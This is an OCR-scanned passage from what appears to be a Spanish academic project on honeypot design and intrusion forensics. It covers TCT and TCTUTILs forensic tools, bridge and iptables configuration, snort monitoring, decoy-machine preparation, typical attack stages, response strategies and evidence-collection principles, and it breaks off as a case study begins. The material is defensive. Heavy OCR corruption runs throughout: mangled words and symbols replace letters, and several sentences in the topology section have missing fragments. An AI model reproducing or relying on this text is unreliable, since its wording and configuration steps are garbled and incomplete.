ASCIl con una linea temporal, donde cala entrada corresponde a una
modificadén, acceso o cambio de uno de los ficheros. Una linea temporal
resulta Util cuando se est& intentando determinar qué ficheros han sido creados o
accedidos recientemente. Més aln, debido a que muchos gstemas tienen gran
cantidad de espacio, la linea tempora puede mostrar los diredorios donde d
investigador deberia centrar su foco de daencion. Por supuesto, un atacante
puede modificar facilmente los tiempos MAC y, si pasa mucho tiempo, |os datos
reladonados con el atacante pueden ser sobrescritos.

iIsy ils2mac:

La herramienta ils muestra datos obre los nodos-i no asignados (unall ocated).
Entre lainformacion que recoge estd el tamafio del fichero y los tiempos MAC.
El script ils2mac convierte la salida deils al mismo formato que tiene d fichero
“body” generado por grave-robber. Por tanto, se puede mncatenar la salida de
ils2mac dentro del fichero "body” y generar una linea tempora con entradas
tanto de los nodos-i asignados como de los no asignados. Esto proporcionara
pistas ©bre aiando y donde estaban los ficheros borrados.
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e unrmy lazarus:

La herramienta unrm es una variante de dd y produce un flujo de bloques de
contenido. Por defedo, extrae los bloques no asignados de la imégenes de la
particion.

Segun indica @ propio autor en la pagina man, € objetivo de lazarus es "crea
estructuras a partir de datos no estructurados'. Lazarus toma un flujo de bytes
como entrada y los analiza en trozos del tamafio de un blogue. Es decir, trata de
identificar qué tipo de datos contiene € bloque (por gemplo, cddigo C, un
fichero tar, correo) y crea un fichero que cntiene unalista wn € tipo predicho
de adabloguey un drectorio de ficheros que cntienen los blogues.

Opcionamente, la salida de lazarus puede ser generada en HTML y con un
navegador se puede examinar €l contenido de cala bloque. Cuando lazarus se
usa sin unrm, los bloques no asignados puede ser seleccionados para buscar €
contenido borrado.

Este proceso puede ser tedioso en particiones grandes con gran cantidad de
espado libre.

e cat:

La utilidad icat muestra @ contenido de un fichero o un drectorio, que e
espedficado mediante un nodo-i y la imagen donde se encuentra. Es gmilar a
comando cat de UNIX, con la diferencia de que en vez de usar el nombre del
fichero como argumento se usa € nodo-i. Por tanto, icat puede ser usado para
ver e contenido de nodos-i no asignados (siempre que € sistema no haya
borrado los punteros de bloque).

» TCTUTILSs:

Aunque TCT proporciona herramientas muy potentes para €l andlisis forense, le
falta, sin embargo, funcionalidad. Por gjemplo, la posibilidad de listar los nombres
de los ficheros y de los directorios que hay en unaimagen, la posibilidad de mapea
los bloques y los nodos-i, la posibilidad de mapear 1os nombres de los ficheros con
los nodos-i, y la posibilidad de obtener detall es de un nodo-i especifico.

Por esa razon fue desarrollado TCTUTILs. TCTUTILs proporciona herramientas
adicionales que vienen a suplir estafalta de funcionalidad.
Algunas de las herramientas que estén incluidasen TCTUTIL s son:
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iscat:

Istat muestra todos los datos conocidos obre un nodo-i, incluyendo todos los
bloques que tiene listados en sus punteros a bloque, y las direcaones de los
bloquesindiredos.

Esto es Util paralageneracion de informes obre |os nodos-i y para proporcionar
un formato mas nitido que d que se obtiene @n laherramientailsde TCT.

bcat:

La herramienta bcat permite desplegar el contenido de un bloque. El contenido
del blogue puede ser mostrado como codigo ASCII, hexadecimal o formato
binario. También es posible mostrar la salida mwmo unatablaHTML.

find_inode:

Esta utilidad busca la imagen de un nodo-i que tenga, en su lista de punteros a
blogues, un Hoque dado. Se pueden dar tres posibles stuaciones cuando esta
herramienta es utilizada: €l bloque esta en la lista del nodo-i, el bloque no esta
en la lista del nodo-i, o @ bloque eta contenido dentro de un fragmento mas
amplio.

fls:

fls lista los ficheros y los diredorios que tienen entradas en un boque de
directorio asignado (allocated). Esta herramienta tiene muchos usos obvios.
Primero, puede listar todos los ficheros borrados para lograr una mejor
comprension de qué herramientas ha instalado € intruso en e sistema. El
segundo uso es permitir ver € contenido de la particion sin tener que montarla
mediante & mecanismo de loop back, cosa que es Gtil cuando no se dispone de
esa opcion.

Otra posibilidad que dafls es imprimir datos en el formato MAC. Esto permitira
obtener estadisticas de los ficheros borrados del sistema auyo valor de nodo-i no
haya sido borrado en la entrada del diredorio. Como & formato de salida es
compatible on el generado por grave-robber (TCT) se pueden combinar ambaos
ficheros y procesarse posteriormente por mactime (TCT).
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o find file

Esta herramienta se mete reaursivamente por o directorios, empezando por €l
directorio raiz, y busca una entrada que tenga como nodo-i € pasado como
parametro.

» blockaalc:

La herramienta blockcalc rediza la conversion entre los nimeros de bloque de
unaimagen generada con unrmy los nimeros de bloque de laimagen original.

Una imagen generada con unrm contiene un subconjunto del total de bloques
que hay en la imagen original y, por tanto, no hay un mapeo obvio con los
originales. Blockcalc crea un mapa entre las imégenes, y puede nvertir €l
nimero de bloque de unaimagen en el nUmero de bloque de laotra.

> Ethereal:

Ethereal es una herramienta de libre distribucion que adta como analizador de
protocolos de red, y puede ser utilizado tanto en equipos Unix como en equipos
Windows. Permite examinar los datos procedentes de una red activa o hien
almacenados en unfichero (obtenidos, por g emplo, dela gecucién de tcpdump).

Ademés de todo € software descrito arriba, también se han utilizado comandos propios del
sistema operativo instadado en la méaguina de control (VA-Linux). Asi mismo, se han
desarroll ado varios scripts para @ control y lamonitorizadon de los equipos trampa.
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Capitulo 3

Disefio y resolucion del trabajo realizado

A continuacion se describen los resultados obtenidos, las
lineas de investigacion seguidas y los principales objetivos
alcanzados.

3.1. Introduccion

A nadie se le escgpa los enormes peligros que entrafia el permitir a un atacante proseguir
con sus adividades una vez que se ha detedado una intrusion; por muy controladas que
estén, en cualquier momento casi nada puede evitar que la persona se sienta vigilada, se
ponga nerviosay destruya completamente los datos. (JAV HOQ]).

Una forma de monitorizar sin comprometer excesivamente la integridad de un sistema es
mediante @ proceso denominado jaili ng (méas conocido como honeypot) o encarcd amiento:
la idea es construir un sistema que simule a uno red, pero donde no se encuentren datos
importantes, y que permita observar a atacante sin poner en peligro los sstemas redes.
Para ello se utiliza una maguina, denominada sistema de sacrificio, maquina trampa o
equipo victima, que e donde d atacaite redmente trabgja, y un segundo sistema,
denominado de observadon, de control o de monitorizadén, conedado a anterior y que
permite analizar todo lo que esa persona esta llevando a @bo. De estaforma se lograque €
atacante piense que su intrusién ha tenido éxito y continlle @n ella mientras lo
monitorizamos y recopilamos pruebas para presentar en una posible demanda o aausaaon.

En lo que sigue a ontinuacién se muestran los pasos dados para la implementadén de este
sistemay los resultados obtenidos del andlisis (forense) de los equipos atacados.



3.2. Implementacion dela arquitectura

Uno de los objetivos de este proyedo, como ya se ha comentado anteriormente, es

una infraestructura de eguipos informéticos que permita, por un lado,

atagues que se produzcan sobre estos sstemas y, por otro, analizar

informaddén de las conexiones que se realicen sobre los equipos para su posterior
procesamiento.

A continuacion se detalla @ planteamiento seguidoy se describen

3.2.1. Topologia

Cuando se planteala deccidn de una topologia para una aquitedura, se deben observar 3
objetivos principales:

» Proporcionar maxima fiabilidad que garantice la correda recgciéon de todo el
tréfico.

> Encaminar e tréfico entre transmisor y receptor a través del camino mas
emnémicoy confiable.

» Proporcionar un

En este caso, las Ultimas dos caracteristicas no son excesivamente importantes y vienen
garantizadas por la propia infraestructura preexistente sobre la que monta nuestra
arquitedura.

Es evidente que para lograr detedar cualquier

victima, necesariamente o ]

el equipo de control, UN& cnsecuencia inmediata de esto s qUe g necesario que estos
equipos estén, en cierta forma, aidados, de manera que toda comunicadén con el exterior
se entralice através del sistema de control.

También es inmediato pensar que se debe abitrar algiin mecanismo que permita cmunicar
al equipo de cntrol con los equipos trampa sin necesidad de que haya una conexion fisica
directa entre dlos, puesto que d nimero de interfaces de red que deberia tener e equipo de
control tendria que ser igual a nimero de equipos enemos en
cuenta que también debe tener salida alnternet).

Pararesolver este problemalameor solucion es hacer uso de un HUB, donde se gonectaran
tanto e sistema de ontrol como los equipos trampa. D€ €sta forma, la informacion
destinada os trampa podré ser distribuida a través de HUB y» @ SU VeZ € equipo
de control podra capturar

gue monitoriza
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Otra ventgja de usar un HUB es que permite meter tréfico “falso” dentro de la red gque
simule anexiones de usuarios ficticios (conexiones telnet, pop3, ftp...) de forma que si €
atacante dispone de un sniffer podré capturar logins y passwvords, permitiendo observar y
analizar € patron de mmportamiento de éste: ver s intenta mnectarse a los equipos
mediante lainformacion dotenida, por gjemplo.

Ademés, en caso de saturacion de lared (Internet), la awnexion entre la maguina de cptura
y los equipos trampa no se bloguea en ninglin un momento. Por otro lado, otra ventgja del
HUB es que, como maximo, permite la salida de trafico a 10 Mb, mientras que la interfaz
de sdlida a exterior del sistema de control funciona a 100 Mb, por lo que tampoco
supondra un problema.

Resumiendo, a tenor de lo visto anteriormente, la megjor configuracion para nuestro sistema
seria unatopologia en estrell 3, ya que esfadl de antrolar, no necesita software alicional y
el flujo de tréfico es sencillo. Ademés, todo €l flujo de informacion pasa por € equipo de
control, lo que permite excaminar y monitorizar todo el tréfico que llega alos equipos
trampa, localizar disfunciones de éstos y aidlar individualmente a aaquiera de ellos
(mediante d establedmiento de reglas de filtrado de paquetes basadas en la direccion IP de
laméguina de destino oen su direacion MAC).

La principal desventgja de estatopologia es que si se averia d equipo de control, € resto de
equipos quedan incomunicados con €l exterior (Internet), aunque esto, a su vez, garantiza
gue d atacaite no pueda realizar ninguna actividad sin ser observado

La Figura2 muestra un esgquema de la disposicion de los equipos sgun la topologia
disefiada; en redidad, € esquemafina esalgo mas complejo que d disefiado inicialmente,
ya que se han dspuesto dos puntos distribuidos de monitorizacion, situados en redes
distintas.

3.2.2. Preparacion del equipo de control

Una vez disefiada la topologia sobre la que se va asituar la arquitectura se procedera ala
configuradon del equipo e ntrol. Basicamente, se trata de montar un IDS (Intruder
Detedion System o Sistema de Deteccion de Intrusos) y la puesta en marcha de un
mecanismo que permita la aitomatizacion del proceso de deteccon de dagues, la rotacion
y actualizadon delogs, y €l filtrado de eguipos, cuando seanecesario.

Los pasos seguidos en este proceso son los que detallan a continuadon:
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i CENTRO REDIRIS
\ MADRID

FIGURA 2 — Topologia del Sstema

3.2.2.1 Instalacion dd sistema operativo

El sistema operativo utilizado en € equipo de control es el VA-Linux, unaversion de Linux
en la que se refuerzan |los aspectos de seguridad. Ademas, con el objeto de que @ sistema
operativo fuera lo més estable y confiable posible, se adualizd con la Ultima version del
nlicleo dsponible en ese momento.

Los motivos de la eleccion de Linux como sistema operativo son evidentes: como todo
sistema Unix es potencidmente seguro ([AVHOQ]), lo cual es un aspecto de gran
importancia en el proyecto, puesto que, debido a las caraderisticas del equipo, un falo en
laseguridad podria acabar con muchas horas de trabgjo.

Ademéds, Linux tiene la ventga de soportar sistemas de ficheros de varios sstemas
operativo distintos (como, por gemplo, Sun UFS), lo cua fadlita la labor de andlisis
forense. Otra ventgja de usar Linux son sus dispasitivos de loopback, que permiten montar
un fichero con la imagen de una particién (obtenida con la herramienta dd) de un equipo
atacado, dentro del propio sistema de ficheros de Linux.
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3.2.2.2 Funcionamiento en modo bridge

Si se desea obtener informaadn sobre € trafico que drcula por la red con destino a los
equipos victimas anadlizando los paquetes que circulan por ella de modo transparente, es
necesario configurar € sistema para que redice bridging.

Para lograr este objetivo se puede hacer uso de la herramienta bridge-utils (véase 2.2.2.2.
Software necesario).

Una vez instalada en € equipo de control, se debera comprobar que las tarjetas de red
funcionan correctamente y estan accesibles. Para eso, € comando ifconfig puede ayudar
mostrando informacidn sobre d estado de é&tas.

Asi mismo, el nlcleo del sistema operativo debe tener adivada la opcion que permite hace
bridging:

CONFIG_BRIDGE=Y
Después de estos primeros pasos, s se gecuta é comando
modprobe —v bridge
y, Si todolo redizado hesta éhora ha sido corredo, no deberia mostrar ningun error.

A continuacién ya se podria proceder con la mnfiguradon hbésica de puente, que
consistiria e:

1. Crea lainterfazde puente.

# brctl abr mipuente

2. Anadir interfaces al puente.

# brctl addif mipuente ¢hO
# brctl addif mipuente ¢hl

3. Poner a &ro lasdireaciones IP de las interfaces.
#ifconfig eth00.0.0.0

#ifconfig eth1 0.0.0.0

4. Activar e puente.
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# ifconfig mipuente up

5. Opcionamente, se puede cnfigurar la interfaz virtual de puente para que forme
parte de la propia red (sin que por ello e puente deje de ser transparente). De esta
forma se @mnsigue que se mwmporte dmo otra interfaz mas (es decir, como una
tarjeta de red normal). Para dlo bastard con sustituir € paso anterior por un
comando como este:

# ifconfig mipuente 155.54.xx.xxx netmask 255.255.XXX.XXX up
(donde xxx representa un valor vaido paraladireccion IP)

Para que d puente se adive cadavezque sereinicie d equipo, se debera aear, ademas, un
script con los pasos anteriores. Este script se lanzara en tiempo de aranque.

3.2.2.3 Activacion delasiptables

Como ya se vio anteriormente, es necesario disponer de un mecnismo que permita
bloguear el acaso a los equipos trampa desde € equipo ce @ntrol. Esto se consigue
mediante la utilizadén de las iptables.

En Linux (el equipo de antrol utiliza este sistema operativo), € filtrado de paguetes esta
construido en el kernel (nicleo); por tanto, para poder utili zar iptables (es decir, para que €
equipo de control pueda aduar como firewall) se ha de compilar éste con las opciones
adeauadas para que lainfraestructura de filtrado de red esté adiva. Basicamente se reduce a
adivar las opciones:

- CONFIG_FIREWALL
- CONFIG_IP_FIREWALL
- CONFIG_IP_NF_IPTABLES

Una vez que d nucleo esta gecutandose con € firewalling activado, se utilizara iptables
para insertar y eliminar reglas de filtrado en él; a tratarse de informacién dindmica, cada
vez que d sistemareinicie las reglas establecidas £ perderan, por lo que es recomendable
crear un script que se geaute d arrancar € sistemay que las vuelva adefinir (siempre que,
claro, se quieran hace permanentes).

El nacleo de Linux utiliza tres listas de reglas denominadas chains; se trata de input, output
y forward. Cuando redbe un paquete utiliza la primera de estas listas para deddir s lo
acepta, y S es asi comprueba addnde tiene que enrutar €l paquete; en caso de que € destino
sea una maguina diferente utili zalas lista forward para enviarlo. Por Ultimo, la lista output
se utili za, obviamente, antes de enviar un paquete por un interfazde red.
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Los elementos de cada lista se denominan reglas y definen qué haaer con los paquetes que
cumplen ciertas caracteristicas. Si un paquete no cumple ninguna de las reglas que deciden
qué hacer con é , se glica la politica por defecto: en estos casos |0 més seguro es
rechazarlo.

Cuando un paquete aumple una determinada regla de una chain definimos qué hacer con é
mediante lo que iptables denomina ‘objetivo’ o target. Aunque eisten mas targets, son dos
los que més = suelen utilizar: ACCEPT permite d paso de un paquete y DENY lo
bloquea.

Para mostrar €l funcionamiento red de la herramienta, se supondrg, por giemplo, que se
desea bloquear todo € tréfico que pasa por la méquina de control con destino u origen a
uno de los equipos victima, cuyadireccién IP viene dadapor DIR_IP_VICTIMA.

La seauenciade comandos que se tendria que gecutar seria las siguiente:

#iptables—A INPUT -s DIR _IP_VICTIMA -j DENY
# iptables—A INPUT —d DIR_IP_VICTIMA -j DENY

#iptables—A FORWARD -s DIR IP_VICTIMA -j DENY
#iptables—A FORWARD —d DIR_IP_VICTIMA -j DENY

#iptables—A OUTPUT -s DIR IP_VICTIMA -j DENY

Si en vez de bloguear usando la direccién IP del equipo se quiera usar la direccion MAC
del mismo, se tendria que hacer o siguiente:

# iptables—A INPUT —m mac --mac-source DIR_MAC_VICTIMA -j DENY
# iptables—A FORWARD -m mac -- mac-source DIR_MAC_VICTIMA -j DENY

En ambos casos, con la opcion ‘A’ se esta indicando que se afiade la regla ala chain
espedficada (INPUT, OUTPUT, FORWARD); ‘-s' permite especificar la direccion de la
maquina origen, ‘-d’ permite espedficar la direacion de la maguina destino y ‘-j’ indica €
objetivo, en este cao DENY. Laopcion '—m mac’ activa la utilizadon de las direcciones
MAC,y ‘-- macsource permite especificar ladireccion MAC del equipo origen.

3.2.2.6 Funcionamiento en modo bridgetfirewall

En los dos apartados precalentes se han mostrado |0s pasos necesarios para configurar €
equipo de cntrol de forma que pueda redizar bridging y firewalli ng; en este apartado se
pretende dar unavision de @mo combinar ambos e ementos.

Uno de los problemas que surgieron al intentar usar conjuntamente d bridge y las reglas de
filtrado de paguetes fue la incompatibili dad que presentaban estas Ultimas en su modo de
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funcionamiento con la adivacion del bridge. Para solucionar este problema se dieron los
siguientes pasos.

1. Aplicacién ce un parche (que puede ser obtenido en [22]) para mmpatibilizar €
funcionamiento del bridge con € filtrado de paquetes.

2. Compilacion del nucleo con las opciones necesarias para redizar filtrado de
paquetes y funcionar en modo bridge (Véase ApéndiceA).

3. Activacion dd  moédulo br_pasghrough.o, que se @awcuentra e
/lib/modules/2.4.6/ker nel/net/br dge/netfil ter :

insmod /lib/modules/2.4.6/ker nel/net/brdge/netfilter/br_passthrough.o

3.2.2.5 Monitorizacion de los equipos

La monitorizadon del trafico que drcula por la red es indispensable para la seguridad de
cualquier sistema; la monitorizacion facilitard informacidn sobre los intentos de aaques
que haya (origen, franjas horarias, tipos de aceso...), asi como la eistencia de tramas que
aungue no supongan un ataque a priori si que son a menos spedosas (por gemplo, un
escaneo de puertos).

Para detectar ataques (0 intentos de éstos) se emplean dos vias. Por un lado se analiza en
tiempo red e tré&fico de red destinado a los equipos trampa —utilizando para dlo
herramientas como tcpdump o0 snort—, y por otro se dmacena toda la informadon
reladonada @n las distintas conexiones que se van produciendo, con € objetivo de
procesarlas posteriormente en buscade informadon relevante.

Existen dos enfoques posibles para la deteccidn de aaques a partir de la informacion
obtenida:

» Déefinir los patrones de cmportamiento de los ataques, de modo que aando se
detecte uno avise d administrador (mediante un correo, por € emplo).

» Definir los patrones normales, avisando cuando se detecte uno que no se gjuste alos
estandares predefinidos.

El primer enfoque e incgpaz de detedar atagues que no se hayan previsto (y es
précticamente imposible prever todos los ataques, sobre todo si se tiene en cuenta que cala
dia surgen nuevos métodos de intrusion). Sin embargo, tiene la ventaja de que no dara
falsas adlarmas y, si e conjunto de reglas que definen los patrones de los atagues es
suficientemente completo, la mayoria de los métodos de d@ague que circulan por Internet
seran detectados.
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A tal efedo, snort es una herramienta muy completa, ya que permite definir reglas parala
detecddn de daques y asociar a étas la acddn que se considere oportuna, ademés de
proporcionar y actualizar una suite de patrones que ntemplan la mayoria de las
vulnerabilidades que existen en la actuali dad.

El segundo de los enfoques detedara cualquier situad6n anémala, por 1o que norma mente
remgerd més ataques que d primero pero, por € contrario, cgpturard muchas fasas
alarmas.
Un gjemplo de utilizacidn de snort podria ser €l que se muestra a ontinuacion.

snort —Dds —c /etc/snort/snort.conf —i ethl ether host DIRMAC
Laopciéon ‘—D’ permite la gecucion de snort en segundo plano (es decir, como demonio),
‘-d’ descarga € tréfico del nivel de aplicadon, ‘-s' envia mensgjes de derta d syslog, ‘-’
permite indicar €l fichero de reglas que se va utilizar para la captura, ‘-i’ espedficala

interfaz por la que se escucha, y “ether host” indica que Unicamente se caturen los
paguetes que provengan del equipo cuyadirecdon MAC coincida con DIRMAC.

3.2.3. Preparacion de los equipos trampa

La anfiguracion de los equipos trampa onsta de:

Instalacion por defecto de los distintos sstemas operativos.
Apertura de todos los puertos y servicios disponibles.

Creaion de usuarios ficticios con logins y passwords fadl es de romper.

vV V V VY

Instalacion de herramientas que faciliten la migradén de datos (necesario para
cuando se quieran enviar los datos del equipo atacado a un equipo remoto para su
posterior andisis).

» Copia de seguridad de la informadon que cntiene d sistema originalmente. Se
puede usar para este fin una particion oculta del propio sistema.

» Sincronizadén de la horadel sistema con algun servidor de tiempo fiable: laidea &
gue tanto el equipo de control como los equipos trampa tengan (y mantengan) la
hora sincronizada @n algun punto de referencia comun . Para lograr esto se puede
utilizar e servidor NTP. La importancia de la sincronizadon reside en la
posibilidad de comparar la informacion almacenada en el sissema de @ntrol con la
gue queda registrada en los equipos victima (después de un atague), sin necesidad
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de redizar conversiones horarias producto de desfases entre los relojes de los
sistemas.
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3.3. Analisisde ataques

En esta segunda parte del proyedo se darédn unas nociones generales obre los patrones mas
habituales de ataques y se mostrarén las adividades necesarias para redizar andisis
forense, concluyendo con la presentacion de un caso practico de estudio.

3.3.1. Ideas generales

La mayoria de los ataques que acdan con € acceso por parte del atacante aun equipo con
permisos de root, suelen seguir e mismo patron de wmportamiento:

1. El atacante rediza un escaneo buscando equipos vulnerables que estén gjeautando un
servidor con algun fallo de seguridad conocido y que se ha mmentado, probablemente,
en listas de seguridad, por gjemplo los fallos de desbordamiento de buffer en €l
servidor de FTP wuftp o del proceso rpc.statd.

2. El atacante emplea un exploit (véase Glosario de términos) contra d equipo,
consiguiendo instalar una puerta de aceso en € sistema. Muchas veces € exploit
genera diredamente un interprete de comandos con privilegios de root, o aflade una
linea @ € fichero /etc/inetd.conf paralanzar un shell en un puerto dado.

3. El atacante instala o compila un rootkit, conjunto de programas de nombre y
comportamiento similar a de comandos del sistema operativo, que sin embargo no
muestran informadon sobre determinados estados del sistema

4. El atacante instalard y/o compilard dgunas herramientas de aaque para escanea otros
equipos y redes, empleando la méaquina recién atacada mwmo puente.

Esta situacion se prolonga hasta que alguien deteda un comportamiento anomalo en €l
equipo. Algunas veces esta deteccion se realiza por e propio administrador del equipo
debido auna @rga de procesamiento anormal, ac@sos extranos, etc., pero en la mayoria de
los casos la deteacion del equipo atacado se produce desde el exterior: llega un aviso ala
organizacion indicando que d equipo en cuestion esta escaneando ohasido empleado para
atacar otros sstemas.
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3.3.3. Estrategias de Respuesta
Existen dos estrategias de respuesta aite un incidente de seguridad ([SH95])
» Proteger y proceder

» Perseguir y procesar

La primera de las estrategias, proteger y proceder, se suele glicar cuando la organizacion
es muy vulnerable o €l nivel de los atacantes es elevado; la filosofia es proteger de manera
inmediata la red y los sstemas, y restaurar su estado normal, de forma que los usuarios
puedan seguir trabgando rormamente. Sera necesario interferir de forma adiva las
acciones del intruso para evitar mas accesos, y andizar € dafio causado. La principal

desventgja de esta estrategia es que € atacante se da wenta rgpidamente de que ha sido
descubierto, y puede emprender acciones para no ser identificado, 1o que incluso conduce d

borrado de logs o de sistemas de ficheros completos. Sin embargo, esta estrategia también
presenta una parte positiva: e bajo nivel de conocimientos de los atacaites en sistemas
habituales hace que en muchas ocasiones se limiten a abandonar su ataque y dedicarse a
probar suerte mn ctros sstemas menos protegidos en dtras organizadones.

La segunda estrategia de respuesta, perseguir y procesar, adopta la fil osofia de permitir a

atacante proseguir sus actividades, pero de forma ntrolada y observada por los
administradores. Con esto, se intentan guardar pruebas para ser utili zadas en la segunda
parte de la estrategia, la de ausaciony procesamiento del atacante (ya sea aite lajusticiao
ante los responsables de la organizacion, si se trata de usuarios internos).

Evidentemente se mrre d peligro de que € intruso descubra su monitorizadon y destruya
completamente € sistema, asi como que los resultados obtenidos no se tengan en cuenta
ante un tribunal. La parte positiva de esta estrategia es, aparte de la recoleccién de pruebas,
gue permite alos responsables conocer |las actividades del atacante, qué vulnerabili dades ha
aprovechado para dacarla, cOmo se mmporta una vez dentro, etc. De esta forma se puede
aprovechar el atague parareforzar |os puntos débiles del sistema.

De las dos estrategias presentadas agui, se utilizard la segunda, ya que es la que mejor se
adapta los propdsitos de este proyecto.
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3.3.4. Principios para larecogida de evidencias

El proposito de este goartado es fadlitar unas diredivas paralarecgida de evidenciasy el
almacenamiento de pruebas después de producirse un incidente de seguridad que haya
acabado con el acceso del atacante d sistema.

Aqui se describen los pasos que se deberian dar si se dedde recabar y proteger toda la
informaaén relativa alaintrusion.

3.3.4.1 Principios generales para larecogida de evidencias

- Contadar con laautoridad competente encargada de tratar ese tipo de incidentes.
- Intentar capturar €l estado actual del sistema @mo s se tratase de unafoto.

- Guardar notas detalladas de todos |os pasos dados. En éstas s deberiaincluir horas
y fedhas en las que se rediz6 cada accion. Si es posible, generar una copia de
manera automética (por gjemplo, en sistemas Unix, se puede usar € programa
'script’, aunque d fichero de salida generado no deberia formar parte de las
evidencias). Todas las evidencias y sdidas obtenidas deberian ser firmadas y
fedhadas.

- Estar preparado para testificar (posiblemente aios después), esquematizando todas
la acdones redlizadas y la hora ala que se llevaron a abo. Obtener unas notas
minuciosas es de vital importancia.

- Reducir d minimo las ateraciones que se redlicen sobre los datos durante d
proceso de recogida. Esto no se limita Unicamente a no modificar € contenido de
los datos, sino que se deberia evitar modificar los tiempos de Ultimo aceso de los
ficherosy delos directorios.

- Intentar minimizar los accesos externos del investigador a sistema, asi como
determinar qué modificaciones son debidas a funcionamiento normal del equipo.

- Cuando se tenga que deddir entre redizar recogida de datos o redizar andlisis, se
deberd hace primero larecogiday méstarde d andlisis.

- Aunque dificilmente sea necesario demostrarlo, los procedimientos empleados
deberian ser implementables. Como en cualquier incidente donde haya intervencién
policial, los procedimientos deben ser testados para asegurar su fiabilidad,
espedamente en una situadon de amergencia. Si es posible, los procedimientos ®
deberian automatizar por razones de rapidez y de predsion. Se debe ser metddico.

- Cada dispositivo del sistema debe ser tratado de forma metddica siguiendo las
directivas determinadas en |la guia de reagida de evidencias. La velocidad muchas
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veces resulta critica auando hay varios dispositi vos que requieren ser examinados a
mismo tiempo, por |o que en estos casos puede resultar apropiado dividir el trabgo
entre distintos miembros de la organizadon para para€eliza e proceso. Sin
embargo, s se trata de un sistema n un Unico dispositivo, la remgida de datos ®
deberiaredizar paso a paso.

Proceder a la recogida de pruebas por orden decreciente de volatilidad (véase
3.34.1.1)

Hacer una wpia anivel de bit de la informadon del sistema. Si se desea redizar
andlisis forense, se deberia hace una wpia anivel de bit para este propdsito, ya que
cuando se proceda aredlizar € andlisis de lainformacion, casi con toda ceteza, se
alteraran los tiempos de acceso a los ficheros. Evitar hacer andlisis forense sobre la
copia destinada a servir de evidencia

3.3.4.1.1 Orden de Volatilidad

Cuando se lleva a cabo la remgida de evidencias, se deberia empezar por aquellas que
tienen mayor probabili dad de desaparecer. La siguiente lista muestra un gjemplo del orden
de volatilidad para un sistematipico:

v VYV Vv V¥V V

A4

Registrosy cache.

Tabla de erutamiento, caché ARP, tabla de procesos, estadisticas del sistema.
Ficheros temporales del sistema.

Disco.

Logsy datos monitorizados de forma remota

Configuracion fisica, topologia de lared

3.3.4.1.2 Cosasque Evitar

En e proceso de recngida de pruebas es muy fadl eliminar evidencias inadvertidamente,
por eso es importante que se observen las sguientes medidas:

No apagar €l sistema hasta que se haya completado |a recogida de evidencias.
Muchas evidencias se podrian perder y, ademas, € atacante puede haber modificado
los <riptg/servicios de aranque/parada de forma que eliminen pruebas de su
presencia en €l sistema.
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No confie en los programas instalados en € sistema. Ejeaute sus programas de
reaogida de pruebas desde medios seguros y externos a sistema.

No geaute programas que modifiquen los tiempos de aceso de los ficheros del
sistema (como, por g emplo, ‘tar' o 'xcopy').

Tenga en cuenta que asando desadive alguna de las conexiones del sistema puede
hacer saltar algun trigger que detede esa situadaédn y elimine evidencias.

3.3.4.1.3 Consideracionesde Privacidad

Respete las leyes de privaddad de su compaiiia y de la jurisdiccén vigente. En
particular, aseglrese de que ninguna de la informacion recogida on las evidencias
sea informacion ge normalmente no esta disponible para cualquier persona. Esto
incluye tanto accesos a los ficheros de log (que pueden revelar patrones de
comportamiento de los usuarios) como alos ficheros de datos personales.

No invada la privaddad de la gente sin unajustificadon solida. Méas concretamente,
no remja informacion de &reas donde normalmente no tiene razones para acceder,
salvo gue tenga indicios razonables de que realmente ha habido un incidente que
afecta ala seguridad.

Asegurese de que su compafia respalda € procedimiento empleado durante la
reagidade evidencias.

3.3.4.1.4 Consideracionesde L egales

La evidencias obtenidas del sistema deben ser:

Admisibles: Deben de ser conformes con las leyes actuales para que puedan ser
presentadas ante un jurado.

Auténticas: Deben ser absolutamente acesibles.

Completas. Deben mostrar todo lo que ha pasado en € sistema y no wna
perspectiva particular.

Confiables: No debe haber ninguna duda sobre como fueron obtenidas.

Creibles: Deben ser rea mente demostrables y comprensibles para los miembros de
un jurado.
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3.3.4.2 Procedimientos de Recogida de Evidencias

Los metodos empleados en el proceso de recogida de pruebas se deberian detalar tanto
como fuera posible. Estos $ deberian caracterizar por no ser ambiguos y por minimizar €
nimero de decisiones que e necesario tomar durante lareagida de evidencias.

3.3.4.2.1 Transparencia

Los métodos empleados para la remgida de evidencias deberian ser transparentes y
reproducibles. Deberian ser testados por expertos independientes.

3.3.4.2.2 Pasos para lareagida de evidencias

- Listar los gstemas que se vieron involucrados en el incidente y especificar de audles
se obtendran las evidencias.

- Establecer qué eslo que se entiende como relevantey admisible.
- Para cala sistema, obtener e orden pertinente de volatilidad.
- Eliminar las conexiones externas de | os sistemas.

- Siguiendo e orden de volatilidad, recoger las evidencias usando las herramientas
oportunas.

- Registrar lahora del reloj del sistema.
- Documentar cada paso dado.

- Tomar nota de quién estaba dli y qué estaba hadendo, qué es lo ha observado y
como hareaacionado.

- Donde seaposible, firmar digitalmente las evidencias obtenidas, siempre que esto
no altere d contenido de las propias evidencias.

3.3.4.3 Procedimiento de Almacenamiento

Las evidencias deben ser estrictamente guardadas. Y |0s responsables de seguridad deben
guedar perfedamente identificados en un documento destinado atal efedo.
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3.3.4.3.1 Custodia

Se deberian documentar los sguientes hechos:
- Donde, cuando y por quién fueron descubiertasy recogidas las pruebas.
- Donde, cuando y por quién fueron manejadas o0 examinadas | as pruebas.

- Quién ha wstodiado las pruebas y durante qué periodo. COmo han sido
amacenadas.

- Cuando las pruebas cambien de custodia, cudndo y como se hizo latransferencia.

3.3.4.3.2 D6ndey como amacenar las pruebas

Si esposible, se deben uili zar medios de almacenamiento comunes y conocidos.

El acceso a las pruebas deberia ser extremadamente restringido, y estar claramente
documentado. Deberia ser posible detedar accesos no autorizados.

3.3.4.4 Herramientas necesarias

Los programas que se utili cen para la reagida de pruebas y €l andisis forense se deberian
almacenar en dispositivos de solo ledura (como por g emplo, un CD).

Entre |as herramientas utili zadas < deberiaincluir:
- Un programa para examinar procesos (por g emplo, 'ps)
- Programas para examinar € estado del sistema (por g emplo, 'ifconfig’, 'netstat’...)
- Un programa para hace copias anivel de bit (por gemplo, 'dd")

- Scripts que automaticen la recogida y el andlisis de las evidencias (por gemplo,
TCT).

- Un programa que permita la migracion de datos del sistema atacalo a otro remoto
(por gemplo, 'nc) .
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3.3.5. Caso de Estudio: Andlisisdeuna intrusion

El caso de estudio que se presenta aqui corresponde @n el andisis de unaintrusion real, en
él se iran explicando los pasos que se deben dar para conseguir redizar un andisis
completo alapar que dicez.

Desde un punto de vista practico, una vez que se ha detedado (o0 se sospecha) que la
